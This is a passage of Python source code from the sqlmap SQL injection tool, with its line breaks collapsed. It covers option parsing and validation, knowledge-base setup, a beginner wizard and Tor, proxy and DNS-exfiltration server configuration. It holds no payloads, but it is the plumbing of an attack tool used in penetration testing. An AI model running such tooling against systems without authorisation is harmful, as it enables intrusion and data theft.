os.path.isdir(tempfile.tempdir): try: os.makedirs(tempfile.tempdir) except Exception as ex: errMsg = "there has been a problem while setting " errMsg += "temporary directory location ('%s')" % getSafeExString(ex) raise SqlmapSystemException(errMsg) if six.PY3: _pympTempLeakPatch(kb.tempDir) def _cleanupOptions(): """ Cleanup configuration attributes. """ if conf.encoding: try: codecs.lookup(conf.encoding) except LookupError: errMsg = "unknown encoding '%s'" % conf.encoding raise SqlmapValueException(errMsg) debugMsg = "cleaning up configuration parameters" logger.debug(debugMsg) width = getConsoleWidth() if conf.eta: conf.progressWidth = width - 26 else: conf.progressWidth = width - 46 for key, value in conf.items(): if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")): if isinstance(value, str): conf[key] = safeExpandUser(value) if conf.testParameter: conf.testParameter = urldecode(conf.testParameter) conf.testParameter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.testParameter)] else: conf.testParameter = [] if conf.ignoreCode: if conf.ignoreCode == IGNORE_CODE_WILDCARD: conf.ignoreCode = xrange(0, 1000) else: try: conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)] except ValueError: errMsg = "option '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD raise SqlmapSyntaxException(errMsg) else: conf.ignoreCode = [] if conf.abortCode: try: conf.abortCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.abortCode)] except ValueError: errMsg = "option '--abort-code' should contain a list of integer values" raise SqlmapSyntaxException(errMsg) else: conf.abortCode = [] if conf.paramFilter: conf.paramFilter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.paramFilter.upper())] else: conf.paramFilter = [] if conf.base64Parameter: conf.base64Parameter = urldecode(conf.base64Parameter) conf.base64Parameter = conf.base64Parameter.strip() conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter) else: conf.base64Parameter = [] if conf.agent: conf.agent = re.sub(r"[\r\n]", "", conf.agent) if conf.user: conf.user = conf.user.replace(" ", "") if conf.rParam: if all(_ in conf.rParam for _ in ('=', ',')): original = conf.rParam conf.rParam = [] for part in original.split(';'): if '=' in part: left, right = part.split('=', 1) conf.rParam.append(left) kb.randomPool[left] = filterNone(_.strip() for _ in right.split(',')) else: conf.rParam.append(part) else: conf.rParam = conf.rParam.replace(" ", "") conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam) else: conf.rParam = [] if conf.paramDel: conf.paramDel = decodeStringEscape(conf.paramDel) if conf.skip: conf.skip = conf.skip.replace(" ", "") conf.skip = re.split(PARAMETER_SPLITTING_REGEX, conf.skip) else: conf.skip = [] if conf.cookie: conf.cookie = re.sub(r"[\r\n]", "", conf.cookie) if conf.delay: conf.delay = float(conf.delay) if conf.url: conf.url = conf.url.strip().lstrip('/') if not re.search(r"\A\w+://", conf.url): conf.url = "http://%s" % conf.url if conf.fileRead: conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead)) if conf.fileWrite: conf.fileWrite = ntToPosixSlashes(normalizePath(conf.fileWrite)) if conf.fileDest: conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest)) if conf.msfPath: conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath)) if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)): conf.multipleTargets = True if conf.optimize: setOptimize() if conf.os: conf.os = conf.os.capitalize() if conf.forceDbms: conf.dbms = conf.forceDbms if conf.dbms: kb.dbmsFilter = [] for _ in conf.dbms.split(','): for dbms, aliases in DBMS_ALIASES: if _.strip().lower() in aliases: kb.dbmsFilter.append(dbms) conf.dbms = dbms if conf.dbms and ',' not in conf.dbms else None break if conf.uValues: conf.uCols = "%d-%d" % (1 + conf.uValues.count(','), 1 + conf.uValues.count(',')) if conf.testFilter: conf.testFilter = conf.testFilter.strip('*+') conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter) try: re.compile(conf.testFilter) except re.error: conf.testFilter = re.escape(conf.testFilter) if conf.csrfToken: original = conf.csrfToken try: re.compile(conf.csrfToken) if re.escape(conf.csrfToken) != conf.csrfToken: message = "provided value for option '--csrf-token' is a regular expression? [y/N] " if not readInput(message, default='N', boolean=True): conf.csrfToken = re.escape(conf.csrfToken) except re.error: conf.csrfToken = re.escape(conf.csrfToken) finally: class _(six.text_type): pass conf.csrfToken = _(conf.csrfToken) conf.csrfToken._original = original if conf.testSkip: conf.testSkip = conf.testSkip.strip('*+') conf.testSkip = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testSkip) try: re.compile(conf.testSkip) except re.error: conf.testSkip = re.escape(conf.testSkip) if "timeSec" not in kb.explicitSettings: if conf.tor: conf.timeSec = 2 * conf.timeSec kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "increasing default value for " warnMsg += "option '--time-sec' to %d because " % conf.timeSec warnMsg += "switch '--tor' was provided" logger.warning(warnMsg) else: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if conf.retries: conf.retries = min(conf.retries, MAX_CONNECT_RETRIES) if conf.url: match = re.search(r"\A(\w+://)?([^/@?]+)@", conf.url) if match: credentials = match.group(2) conf.url = conf.url.replace("%s@" % credentials, "", 1) conf.authType = AUTH_TYPE.BASIC conf.authCred = credentials if ':' in credentials else "%s:" % credentials if conf.code: conf.code = int(conf.code) if conf.csvDel: conf.csvDel = decodeStringEscape(conf.csvDel) if conf.torPort and hasattr(conf.torPort, "isdigit") and conf.torPort.isdigit(): conf.torPort = int(conf.torPort) if conf.torType: conf.torType = conf.torType.upper() if conf.outputDir: paths.SQLMAP_OUTPUT_PATH = os.path.realpath(os.path.expanduser(conf.outputDir)) setPaths(paths.SQLMAP_ROOT_PATH) if conf.string: conf.string = decodeStringEscape(conf.string) if conf.getAll: for _ in WIZARD.ALL: conf.__setitem__(_, True) if conf.noCast: DUMP_REPLACEMENTS.clear() if conf.dumpFormat: conf.dumpFormat = conf.dumpFormat.upper() if conf.torType: conf.torType = conf.torType.upper() if conf.col: conf.col = re.sub(r"\s*,\s*", ',', conf.col) if conf.exclude: regex = False original = conf.exclude if any(_ in conf.exclude for _ in ('+', '*')): try: re.compile(conf.exclude) except re.error: pass else: regex = True if not regex: conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude) conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(',')) else: conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude) class _(six.text_type): pass conf.exclude = _(conf.exclude) conf.exclude._original = original if conf.binaryFields: conf.binaryFields = conf.binaryFields.replace(" ", "") conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields) envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES) if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None: debugMsg = "using environment proxy '%s'" % envProxy logger.debug(debugMsg) conf.proxy = envProxy if any((conf.proxy, conf.proxyFile, conf.tor)): conf.disablePrecon = True if conf.dummy: conf.batch = True threadData = getCurrentThreadData() threadData.reset() def _cleanupEnvironment(): """ Cleanup environment (e.g. from leftovers after --shell). """ if issubclass(_http_client.socket.socket, socks.socksocket): socks.unwrapmodule(_http_client) if hasattr(socket, "_ready"): socket._ready.clear() def _purge(): """ Safely removes (purges) sqlmap data directory. """ if conf.purge: purge(paths.SQLMAP_HOME_PATH) def _setConfAttributes(): """ This function set some needed attributes into the configuration singleton. """ debugMsg = "initializing the configuration" logger.debug(debugMsg) conf.authUsername = None conf.authPassword = None conf.boundaries = [] conf.cj = None conf.dbmsConnector = None conf.dbmsHandler = None conf.dnsServer = None conf.dumpPath = None conf.hashDB = None conf.hashDBFile = None conf.httpCollector = None conf.httpHeaders = [] conf.hostname = None conf.ipv6 = False conf.multipleTargets = False conf.outputPath = None conf.paramDict = {} conf.parameters = {} conf.path = None conf.port = None conf.proxyList = None conf.resultsFP = None conf.scheme = None conf.tests = [] conf.trafficFP = None conf.HARCollectorFactory = None conf.fileWriteType = None def _setKnowledgeBaseAttributes(flushAll=True): """ This function set some needed attributes into the knowledge base singleton. """ debugMsg = "initializing the knowledge base" logger.debug(debugMsg) kb.absFilePaths = set() kb.adjustTimeDelay = None kb.alerted = False kb.aliasName = randomStr() kb.alwaysRefresh = None kb.arch = None kb.authHeader = None kb.bannerFp = AttribDict() kb.base64Originals = {} kb.binaryField = False kb.browserVerification = None kb.brute = AttribDict({"tables": [], "columns": []}) kb.bruteMode = False kb.cache = AttribDict() kb.cache.addrinfo = {} kb.cache.content = {} kb.cache.comparison = {} kb.cache.encoding = {} kb.cache.alphaBoundaries = None kb.cache.hashRegex = None kb.cache.intBoundaries = None kb.cache.parsedDbms = {} kb.cache.regex = {} kb.cache.stdev = {} kb.captchaDetected = None kb.chars = AttribDict() kb.chars.delimiter = randomStr(length=6, lowercase=True) kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) kb.choices = AttribDict(keycheck=False) kb.codePage = None kb.commonOutputs = None kb.connErrorCounter = 0 kb.copyExecTest = None kb.counters = {} kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR kb.data = AttribDict() kb.dataOutputFlag = False # Active back-end DBMS fingerprint kb.dbms = None kb.dbmsFilter = [] kb.dbmsVersion = [UNKNOWN_DBMS_VERSION] kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.dep = None kb.disableHtmlDecoding = False kb.disableShiftTable = False kb.dnsMode = False kb.dnsTest = None kb.docRoot = None kb.droppingRequests = False kb.dumpColumns = None kb.dumpTable = None kb.dumpKeyboardInterrupt = False kb.dynamicMarkings = [] kb.dynamicParameter = False kb.endDetection = False kb.explicitSettings = set() kb.extendTests = None kb.errorChunkLength = None kb.errorIsNone = True kb.falsePositives = [] kb.fileReadMode = False kb.fingerprinted = False kb.followSitemapRecursion = None kb.forcedDbms = None kb.forcePartialUnion = False kb.forceThreads = None kb.forceWhere = None kb.forkNote = None kb.futileUnion = None kb.fuzzUnionTest = None kb.heavilyDynamic = False kb.headersFile = None kb.headersFp = {} kb.heuristicDbms = None kb.heuristicExtendedDbms = None kb.heuristicCode = None kb.heuristicMode = False kb.heuristicPage = False kb.heuristicTest = None kb.hintValue = "" kb.htmlFp = [] kb.httpErrorCodes = {} kb.inferenceMode = False kb.ignoreCasted = None kb.ignoreNotFound = False kb.ignoreTimeout = False kb.identifiedWafs = set() kb.injection = InjectionDict() kb.injections = [] kb.jsonAggMode = False kb.laggingChecked = False kb.lastParserStatus = None kb.locks = AttribDict() for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None kb.maxConnectionsFlag = False kb.mergeCookies = None kb.multiThreadMode = False kb.multipleCtrlC = False kb.negativeLogic = False kb.nchar = True kb.nullConnection = None kb.oldMsf = None kb.orderByColumns = None kb.originalCode = None kb.originalPage = None kb.originalPageTime = None kb.originalTimeDelay = None kb.originalUrls = dict() # Back-end DBMS underlying operating system fingerprint via banner (-b) # parsing kb.os = None kb.osVersion = None kb.osSP = None kb.pageCompress = True kb.pageTemplate = None kb.pageTemplates = dict() kb.pageEncoding = DEFAULT_PAGE_ENCODING kb.pageStable = None kb.partRun = None kb.permissionFlag = False kb.place = None kb.postHint = None kb.postSpaceToPlus = False kb.postUrlEncode = True kb.prependFlag = False kb.processResponseCounter = 0 kb.previousMethod = None kb.processNonCustom = None kb.processUserMarks = None kb.proxies = None kb.proxyAuthHeader = None kb.queryCounter = 0 kb.randomPool = {} kb.reflectiveMechanism = True kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0} kb.requestCounter = 0 kb.resendPostOnRedirect = None kb.resolutionDbms = None kb.responseTimes = {} kb.responseTimeMode = None kb.responseTimePayload = None kb.resumeValues = True kb.safeCharEncode = False kb.safeReq = AttribDict() kb.secondReq = None kb.serverHeader = None kb.singleLogFlags = set() kb.skipSeqMatcher = False kb.smokeMode = False kb.reduceTests = None kb.sslSuccess = False kb.startTime = time.time() kb.stickyDBMS = False kb.suppressResumeInfo = False kb.tableFrom = None kb.technique = None kb.tempDir = None kb.testMode = False kb.testOnlyCustom = False kb.testQueryCount = 0 kb.testType = None kb.threadContinue = True kb.threadException = False kb.uChar = NULL kb.udfFail = False kb.unionDuplicates = False kb.unionTemplate = None kb.webSocketRecvCount = None kb.wizardMode = False kb.xpCmdshellAvailable = False if flushAll: kb.checkSitemap = None kb.headerPaths = {} kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) kb.lastCtrlCTime = None kb.normalizeCrawlingChoice = None kb.passwordMgr = None kb.postprocessFunctions = [] kb.preprocessFunctions = [] kb.skipVulnHost = None kb.storeCrawlingChoice = None kb.tamperFunctions = [] kb.targets = OrderedSet() kb.testedParams = set() kb.userAgents = None kb.vainRun = True kb.vulnHosts = set() kb.wafFunctions = [] kb.wordlists = None def _useWizardInterface(): """ Presents simple wizard interface for beginner users """ if not conf.wizard: return logger.info("starting wizard interface") while not conf.url: message = "Please enter full target URL (-u): " conf.url = readInput(message, default=None, checkBatch=False) message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) conf.data = readInput(message, default=None) if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url): warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). " if not conf.crawlDepth and not conf.forms: warnMsg += "Will search for forms" conf.forms = True logger.warning(warnMsg) choice = None while choice is None or choice not in ("", "1", "2", "3"): message = "Injection difficulty (--level/--risk). Please choose:\n" message += "[1] Normal (default)\n[2] Medium\n[3] Hard" choice = readInput(message, default='1') if choice == '2': conf.risk = 2 conf.level = 3 elif choice == '3': conf.risk = 3 conf.level = 5 else: conf.risk = 1 conf.level = 1 if not conf.getAll: choice = None while choice is None or choice not in ("", "1", "2", "3"): message = "Enumeration (--banner/--current-user/etc). Please choose:\n" message += "[1] Basic (default)\n[2] Intermediate\n[3] All" choice = readInput(message, default='1') if choice == '2': options = WIZARD.INTERMEDIATE elif choice == '3': options = WIZARD.ALL else: options = WIZARD.BASIC for _ in options: conf.__setitem__(_, True) logger.debug("muting sqlmap.. it will do the magic for you") conf.verbose = 0 conf.batch = True conf.threads = 4 dataToStdout("\nsqlmap is running, please wait..\n\n") kb.wizardMode = True def _saveConfig(): """ Saves the command line options to a sqlmap configuration INI file Format. """ if not conf.saveConfig: return debugMsg = "saving command line options to a sqlmap configuration INI file" logger.debug(debugMsg) saveConfig(conf, conf.saveConfig) infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig logger.info(infoMsg) def setVerbosity(): """ This function set the verbosity of sqlmap output messages. """ if conf.verbose is None: conf.verbose = 1 conf.verbose = int(conf.verbose) if conf.verbose == 0: logger.setLevel(logging.ERROR) elif conf.verbose == 1: logger.setLevel(logging.INFO) elif conf.verbose > 2 and conf.eta: conf.verbose = 2 logger.setLevel(logging.DEBUG) elif conf.verbose == 2: logger.setLevel(logging.DEBUG) elif conf.verbose == 3: logger.setLevel(CUSTOM_LOGGING.PAYLOAD) elif conf.verbose == 4: logger.setLevel(CUSTOM_LOGGING.TRAFFIC_OUT) elif conf.verbose >= 5: logger.setLevel(CUSTOM_LOGGING.TRAFFIC_IN) def _normalizeOptions(inputOptions): """ Sets proper option types """ types_ = {} for group in optDict.keys(): types_.update(optDict[group]) for key in inputOptions: if key in types_: value = inputOptions[key] if value is None: continue type_ = types_[key] if type_ and isinstance(type_, tuple): type_ = type_[0] if type_ == OPTION_TYPE.BOOLEAN: try: value = bool(value) except (TypeError, ValueError): value = False elif type_ == OPTION_TYPE.INTEGER: try: value = int(value) except (TypeError, ValueError): value = 0 elif type_ == OPTION_TYPE.FLOAT: try: value = float(value) except (TypeError, ValueError): value = 0.0 inputOptions[key] = value def _mergeOptions(inputOptions, overrideOptions): """ Merge command line options with configuration file and default options. @param inputOptions: optparse object with command line options. @type inputOptions: C{instance} """ if inputOptions.configFile: configFileParser(inputOptions.configFile) if hasattr(inputOptions, "items"): inputOptionsItems = inputOptions.items() else: inputOptionsItems = inputOptions.__dict__.items() for key, value in inputOptionsItems: if key not in conf or value not in (None, False) or overrideOptions: conf[key] = value if not conf.api: for key, value in conf.items(): if value is not None: kb.explicitSettings.add(key) for key, value in defaults.items(): if hasattr(conf, key) and conf[key] is None: conf[key] = value if conf.unstable: if key in ("timeSec", "retries", "timeout"): conf[key] *= 2 if conf.unstable: conf.forcePartial = True lut = {} for group in optDict.keys(): lut.update((_.upper(), _) for _ in optDict[group]) envOptions = {} for key, value in os.environ.items(): if key.upper().startswith(SQLMAP_ENVIRONMENT_PREFIX): _ = key[len(SQLMAP_ENVIRONMENT_PREFIX):].upper() if _ in lut: envOptions[lut[_]] = value if envOptions: _normalizeOptions(envOptions) for key, value in envOptions.items(): conf[key] = value mergedOptions.update(conf) def _setTrafficOutputFP(): if conf.trafficFile: infoMsg = "setting file for logging HTTP traffic" logger.info(infoMsg) conf.trafficFP = openFile(conf.trafficFile, "w+") def _setupHTTPCollector(): if not conf.harFile: return conf.httpCollector = HTTPCollectorFactory(conf.harFile).create() def _setDNSServer(): if not conf.dnsDomain: return infoMsg = "setting up DNS server instance" logger.info(infoMsg) isAdmin = runningAsAdmin() if isAdmin: try: conf.dnsServer = DNSServer() conf.dnsServer.run() except socket.error as ex: errMsg = "there was an error while setting up " errMsg += "DNS server instance ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) else: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to perform a DNS data exfiltration attack " errMsg += "as it will need to listen on privileged UDP port 53 " errMsg += "for incoming address resolution attempts" raise SqlmapMissingPrivileges(errMsg) def _setProxyList(): if not conf.proxyFile: return conf.proxyList = [] for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): _, type_, address, port = match.groups() conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) def _setTorProxySettings(): if not conf.tor: return if conf.torType == PROXY_TYPE.HTTP: _setTorHttpProxySettings() else: _setTorSocksProxySettings() def _setTorHttpProxySettings(): infoMsg = "setting Tor HTTP proxy settings" logger.info(infoMsg) port = findLocalPort(DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,)) if port: conf.proxy = "http://%s:%d" % (LOCALHOST, port) else: errMsg = "can't establish connection with the Tor HTTP proxy. " errMsg += "Please make sure that you have Tor (bundle) installed and setup " errMsg += "so you could be able to successfully use switch '--tor' " raise SqlmapConnectionException(errMsg) if not conf.checkTor: warnMsg = "use switch '--check-tor' at " warnMsg += "your own convenience when accessing " warnMsg += "Tor anonymizing network because of " warnMsg += "known issues with default settings of various 'bundles' " warnMsg += "(e.g. Vidalia)" logger.warning(warnMsg) def _setTorSocksProxySettings(): infoMsg = "setting Tor SOCKS proxy settings" logger.info(infoMsg) port = findLocalPort(DEFAULT_TOR_SOCKS_PORTS if not conf.torPort else (conf.torPort,)) if not port: errMsg = "can't establish connection with the Tor SOCKS proxy. " errMsg += "Please make sure that you have Tor service installed and setup " errMsg += "so you could be able to successfully use switch '--tor' " raise SqlmapConnectionException(errMsg) # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port) socks.wrapmodule(_http_client) def _setHttpChunked(): if conf.chunked and conf.data: if hasattr(_http_client.HTTPConnection, "_set_content_length"): _http_client.HTTPConnection._set_content_length = lambda self, *args, **kwargs: None else: def putheader(self, header, *values): if header != HTTP_HEADER.CONTENT_LENGTH: self._putheader(header, *values) if not hasattr(_http_client.HTTPConnection, "_putheader"): _http_client.HTTPConnection._putheader = _http_client.HTTPConnection.putheader _http_client.HTTPConnection.putheader = putheader def _checkWebSocket(): if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): try: from websocket import ABNF except ImportError: errMsg = "sqlmap requires third-party module 'websocket-client' " errMsg += "in order to use WebSocket functionality" raise SqlmapMissingDependence(errMsg) def _checkTor(): if not conf.checkTor: return infoMsg = "checking Tor connection" logger.info(infoMsg) try: page, _, _ = Request.getPage(url="https://check.torproject.org/", raise404=False) except SqlmapConnectionException: page = None if not page or "Congratulations" not in page: errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'" raise SqlmapConnectionException(errMsg) else: infoMsg = "Tor is properly being used" logger.info(infoMsg) def _basicOptionValidation(): if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0): errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)" raise SqlmapSyntaxException(errMsg) if conf.limitStop is not None and not (isinstance(conf.limitStop, int) and conf.limitStop > 0): errMsg = "value for option '--stop' (limitStop) must be an integer value greater than zero (>0)" raise SqlmapSyntaxException(errMsg) if conf.level is not None and not (isinstance(conf.level, int) and conf.level >= 1 and conf.level <= 5): errMsg = "value for option '--level' must be an integer value from range [1, 5]" raise SqlmapSyntaxException(errMsg) if conf.risk is not None and not (isinstance(conf.risk, int) and conf.risk >= 1 and conf.risk <= 3): errMsg = "value for option '--risk' must be an integer value from range [1, 3]" raise SqlmapSyntaxException(errMsg) if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: warnMsg = "usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable" logger.warning(warnMsg) if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option" raise SqlmapSyntaxException(errMsg) if conf.proxyFile and not any((conf.randomAgent, conf.mobile, conf.agent, conf.requestFile)): warnMsg = "usage of switch '--random-agent' is strongly recommended when " warnMsg += "using option '--proxy-file'" logger.warning(warnMsg) if conf.textOnly and conf.nullConnection: errMsg = "switch '--text-only' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.uValues and conf.uChar: errMsg = "option '--union-values' is incompatible with option '--union-char'" raise SqlmapSyntaxException(errMsg) if conf.base64Parameter and conf.tamper: errMsg = "option '--base64' is incompatible with option '--tamper'" raise SqlmapSyntaxException(errMsg) if conf.eta and conf.verbose > defaults.verbose: errMsg = "switch '--eta' is incompatible with option '-v'" raise SqlmapSyntaxException(errMsg) if conf.secondUrl and conf.secondReq: errMsg = "option '--second-url' is incompatible with option '--second-req')" raise SqlmapSyntaxException(errMsg) if conf.direct and conf.url: errMsg = "option '-d' is incompatible with option '-u' ('--url')" raise SqlmapSyntaxException(errMsg) if conf.direct and conf.dbms: errMsg = "option '-d' is incompatible with option '--dbms'" raise SqlmapSyntaxException(errMsg) if conf.titles and conf.nullConnection: errMsg = "switch '--titles' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.dumpTable and conf.search: errMsg = "switch '--dump' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)): errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'" raise SqlmapSyntaxException(errMsg) if conf.api and not conf.configFile: errMsg = "switch '--api' requires usage of option '-c'" raise SqlmapSyntaxException(errMsg) if conf.data and conf.nullConnection: errMsg = "option '--data' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.string and conf.nullConnection: errMsg = "option '--string' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.notString and conf.nullConnection: errMsg = "option '--not-string' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.tor and conf.osPwn: errMsg = "option '--tor' is incompatible with switch '--os-pwn'" raise SqlmapSyntaxException(errMsg) if conf.noCast and conf.hexConvert: errMsg = "switch '--no-cast' is incompatible with switch '--hex'" raise SqlmapSyntaxException(errMsg) if conf.crawlDepth: try: xrange(conf.crawlDepth) except OverflowError as ex: errMsg = "invalid value used for option '--crawl' ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) if conf.dumpAll and conf.search: errMsg = "switch '--dump-all' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) if conf.string and conf.notString: errMsg = "option '--string' is incompatible with switch '--not-string'" raise SqlmapSyntaxException(errMsg) if conf.regexp and conf.nullConnection: errMsg = "option '--regexp' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.regexp: try: re.compile(conf.regexp) except Exception as ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.paramExclude: if re.search(r"\A\w+,", conf.paramExclude): conf.paramExclude = r"\A(%s)\Z" % ('|'.join(re.escape(_).strip() for _ in conf.paramExclude.split(','))) try: re.compile(conf.paramExclude) except Exception as ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.retryOn: try: re.compile(conf.retryOn) except Exception as ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.retryOn, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.retries == defaults.retries: conf.retries = 5 * conf.retries warnMsg = "increasing default value for " warnMsg += "option '--retries' to %d because " % conf.retries warnMsg += "option '--retry-on' was provided" logger.warning(warnMsg) if conf.cookieDel and len(conf.cookieDel) != 1: errMsg = "option '--cookie-del' should contain a single character (e.g. ';')" raise SqlmapSyntaxException(errMsg) if conf.crawlExclude: try: re.compile(conf.crawlExclude) except Exception as ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.scope: try: re.compile(conf.scope) except Exception as ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.dumpTable and conf.dumpAll: errMsg = "switch '--dump' is incompatible with switch '--dump-all'" raise SqlmapSyntaxException(errMsg) if conf.predictOutput and (conf.threads > 1 or conf.optimize): errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'" raise SqlmapSyntaxException(errMsg) if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)): errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'" raise SqlmapSyntaxException(errMsg) if conf.crawlExclude and not conf.crawlDepth: errMsg = "option '--crawl-exclude' requires usage of switch '--crawl'" raise SqlmapSyntaxException(errMsg) if conf.safePost and not conf.safeUrl: errMsg = "option '--safe-post' requires usage of option '--safe-url'" raise SqlmapSyntaxException(errMsg) if conf.safeFreq and not any((conf.safeUrl, conf.safeReqFile)): errMsg = "option '--safe-freq' requires usage of option '--safe-url' or '--safe-req'" raise SqlmapSyntaxException(errMsg) if conf.safeReqFile and any((conf.safeUrl, conf.safePost)): errMsg = "option '--safe-req' is incompatible with option '--safe-url' and option '--safe-post'" raise SqlmapSyntaxException(errMsg) if conf.csrfUrl and not conf.csrfToken: errMsg = "option '--csrf-url' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) if conf.csrfMethod and not conf.csrfToken: errMsg = "option '--csrf-method' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) if conf.csrfData and not conf.csrfToken: errMsg = "option '--csrf-data' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) if conf.csrfToken and conf.threads > 1: errMsg = "option '--csrf-url' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) if conf.requestFile and conf.url and conf.url != DUMMY_URL: errMsg = "option '-r' is incompatible with option '-u' ('--url')" raise SqlmapSyntaxException(errMsg) if conf.direct and conf.proxy: errMsg = "option '-d' is incompatible with option '--proxy'" raise SqlmapSyntaxException(errMsg) if conf.direct and conf.tor: errMsg = "option '-d' is incompatible with switch '--tor'" raise SqlmapSyntaxException(errMsg) if not conf.technique: errMsg = "option '--technique' can't be empty" raise SqlmapSyntaxException(errMsg) if conf.tor and conf.ignoreProxy: errMsg = "switch '--tor' is incompatible with switch '--ignore-proxy'" raise SqlmapSyntaxException(errMsg) if conf.tor and conf.proxy: errMsg = "switch '--tor' is incompatible with option '--proxy'" raise SqlmapSyntaxException(errMsg) if conf.proxy and conf.proxyFile: 